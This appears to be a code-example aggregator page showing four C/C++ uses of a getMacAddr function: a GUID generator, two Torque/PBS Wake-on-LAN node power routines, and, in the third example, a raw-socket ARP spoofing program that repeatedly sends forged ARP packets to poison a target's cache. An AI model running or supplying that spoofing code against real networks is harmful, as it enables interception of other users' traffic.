Exemplo n.º 1
0
ECode GenGuid(GUID* guid)
{
	if(NULL == guid)
	{
		return E_NULL_POINTER;
	}


	getCurAccurateTime((ulong*)&(guid->seconds), (ulong*)&(guid->usecond));	
	getMacAddr((char*)&(guid->macaddr), NULL);

	(guid->reserve)[0] = 0;
	(guid->reserve)[1] = 0;

	return NOERROR;
}
Exemplo n.º 2
0
int set_node_power_state(struct pbsnode *pNode,struct pbsnode *newNode)
  {
  if(pNode->nd_addrs == NULL)
    {
    return PBSE_BAD_PARAMETER;
    }
  if(newNode->nd_power_state == POWER_STATE_RUNNING)
    {
    newNode->nd_power_state = pNode->nd_power_state; //Don't change the power state here.
                                      //Let the mom update change the state
                                      //back to running.
    static std::string interface;
    static unsigned char mac_addr[6];
    if(interface.length() == 0)
      {
      if(!getMacAddr(interface,mac_addr))
        {
        return PBSE_SYSTEM;
        }
      }

    int sock;
    if((sock = socket(AF_INET,SOCK_PACKET,SOCK_PACKET)) < 0)
    {
      return PBSE_SYSTEM;
    }

    unsigned char outpack[1000];

    memcpy(outpack+6,mac_addr,6);
    memcpy(outpack,pNode->nd_mac_addr,6);
    outpack[12] = 0x08;
    outpack[13] = 0x42;
    int offset = 14;
    memset(outpack + offset,0xff,6);
    offset += 6;
    for(int i = 0;i < 16;i++)
    {
        memcpy(outpack + offset,pNode->nd_mac_addr,6);
        offset += 6;
    }

    int one = 1;
    if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&one, sizeof(one)) < 0)
    {
      close(sock);
      return PBSE_SYSTEM;
    }

    struct sockaddr whereto;
    whereto.sa_family = 0;
    strcpy(whereto.sa_data,interface.c_str());
    if (sendto(sock, outpack, offset, 0, &whereto, sizeof(whereto)) < 0)
    {
      close(sock);
      return PBSE_SYSTEM;
    }
    close(sock);
    return PBSE_NONE;
    }
  if(pNode->nd_job_usages.size() != 0)
    {
    //Can't change the power state on a node with running jobs.
    return PBSE_CANT_CHANGE_POWER_STATE_WITH_JOBS_RUNNING;
    }
  struct batch_request *request = alloc_br(PBS_BATCH_ChangePowerState);
  if(request == NULL)
    {
    return PBSE_SYSTEM;
    }
  request->rq_ind.rq_powerstate = newNode->nd_power_state;
  newNode->nd_power_state_change_time = time(NULL);
  strncpy(request->rq_host,pNode->nd_name,sizeof(request->rq_host));
  int rc = enqueue_threadpool_request(send_power_state_to_mom,(void *)request,task_pool);
  return(rc);
  }
Exemplo n.º 3
0
int main(int argc, char *argv[])
{
    char mymac[6] = {0};
    char tarmac[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
    char recvarp[42] = {0};
    char sendarp[42] = {0};
    int tarip;
    int myip;
    char opcode[2];
    int sock_fd;
    struct sockaddr addr;

    if (argc < 4) {
        return EXIT_FAILURE;
    }

    //获取本机MAC地址
    if (getMacAddr(mymac, argv[1]) < 0) {
        printf("获取MAC地址失败\n");
        return EXIT_FAILURE;
    }

    myip = inet_addr(argv[3]);
    tarip = inet_addr(argv[2]);
    opcode[0] = 0x00;
    opcode[1] = 0x01;

    packarp(mymac, tarmac, &tarip, &myip, opcode, sendarp);

    if ((sock_fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP))) < 0) {
        perror("Open Socket");
        return EXIT_FAILURE;
    }

    memset(&addr, 0, sizeof(addr));
    strncpy(addr.sa_data, argv[1], sizeof(addr.sa_data));
    socklen_t len = sizeof(addr);


    while(1) {
        if (sendto(sock_fd, sendarp, 42, 0, &addr, len) == 42) {
            printf("发送ARP包成功\n");
        } else {
            perror("sendto");
            return EXIT_FAILURE;
        }
        
        if (recvfrom(sock_fd, recvarp, 42, 0, &addr, &len) == 42) {
            if (!memcmp((void *)recvarp + 28, (void *)sendarp + 38, 4)) {
                memcpy(tarmac, recvarp + 22, 6);
                printf("获取MAC地址成功\n");
                break;
            }
        }
        
        sleep(1);
    }

    opcode[0] = 0x00;
    opcode[1] = 0x01;
    packarp(mymac, tarmac, &tarip, &myip, opcode, sendarp);

    while(1) {
        if (sendto(sock_fd, sendarp, 42, 0, &addr, len) == 42) {
            printf("发送ARP欺骗包成功\n");
        } else {
            perror("sendto");
            return EXIT_FAILURE;
        }
        sleep(1);
    }

    close(sock_fd);
    
    return EXIT_SUCCESS;
}
Exemplo n.º 4
0
int set_node_power_state(
    
  struct pbsnode **ppNode,
  unsigned short   newState)

  {
  struct pbsnode *pNode = *ppNode;
  if (pNode->nd_addrs == NULL)
    {
    return PBSE_BAD_PARAMETER;
    }

  if (newState == POWER_STATE_RUNNING)
    {
    static std::string interface;
    static unsigned char mac_addr[6];
    if (interface.length() == 0)
      {
      if (!getMacAddr(interface,mac_addr))
        {
        return PBSE_SYSTEM;
        }
      }

    int sock;
    if ((sock = socket(AF_INET,SOCK_PACKET,SOCK_PACKET)) < 0)
      {
      return PBSE_SYSTEM;
      }

    unsigned char outpack[1000];

    memcpy(outpack+6,mac_addr,6);
    memcpy(outpack,pNode->nd_mac_addr,6);
    outpack[12] = 0x08;
    outpack[13] = 0x42;
    int offset = 14;
    memset(outpack + offset,0xff,6);
    offset += 6;

    for (int i = 0;i < 16;i++)
      {
      memcpy(outpack + offset,pNode->nd_mac_addr,6);
      offset += 6;
      }

    int one = 1;
    if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&one, sizeof(one)) < 0)
      {
      close(sock);
      return PBSE_SYSTEM;
      }

    struct sockaddr whereto;
    whereto.sa_family = 0;
    snprintf(whereto.sa_data, sizeof(whereto.sa_data), "%s", interface.c_str());

    if (sendto(sock, outpack, offset, 0, &whereto, sizeof(whereto)) < 0)
      {
      close(sock);
      return PBSE_SYSTEM;
      }

    close(sock);
    return PBSE_NONE;
    }

  if (pNode->nd_job_usages.size() != 0)
    {
    //Can't change the power state on a node with running jobs.
    return PBSE_CANT_CHANGE_POWER_STATE_WITH_JOBS_RUNNING;
    }
  struct batch_request *request = alloc_br(PBS_BATCH_ChangePowerState);
  if (request == NULL)
    {
    return PBSE_SYSTEM;
    }

  request->rq_ind.rq_powerstate = newState;
  pNode->nd_power_state_change_time = time(NULL);

  snprintf(request->rq_host, sizeof(request->rq_host), "%s", pNode->nd_name);
  std::string hostname(request->rq_host);
  int rc = PBSE_NONE;

  {
    int handle = 0;
    int local_errno = 0;
    handle = svr_connect(pNode->nd_addrs[0],pNode->nd_mom_port,&local_errno,pNode,NULL);
    if(handle < 0)
      {
      unlock_node(pNode, __func__, "Error connecting", LOGLEVEL);
      *ppNode = NULL;
      return local_errno;
      }
    unlock_node(pNode, __func__, "Done connecting", LOGLEVEL);
    *ppNode = NULL;
    rc = issue_Drequest(handle, request,true);
    if(rc == PBSE_NONE)
      {
      rc = request->rq_reply.brp_code;
      if(rc < 0) rc = -rc;
      }
  }
  pNode = find_nodebyname(hostname.c_str());
  *ppNode = pNode;
  if ((rc == PBSE_NONE)&&(pNode != NULL))
    {
    pNode->nd_power_state = newState;
    }

  return(rc);
  }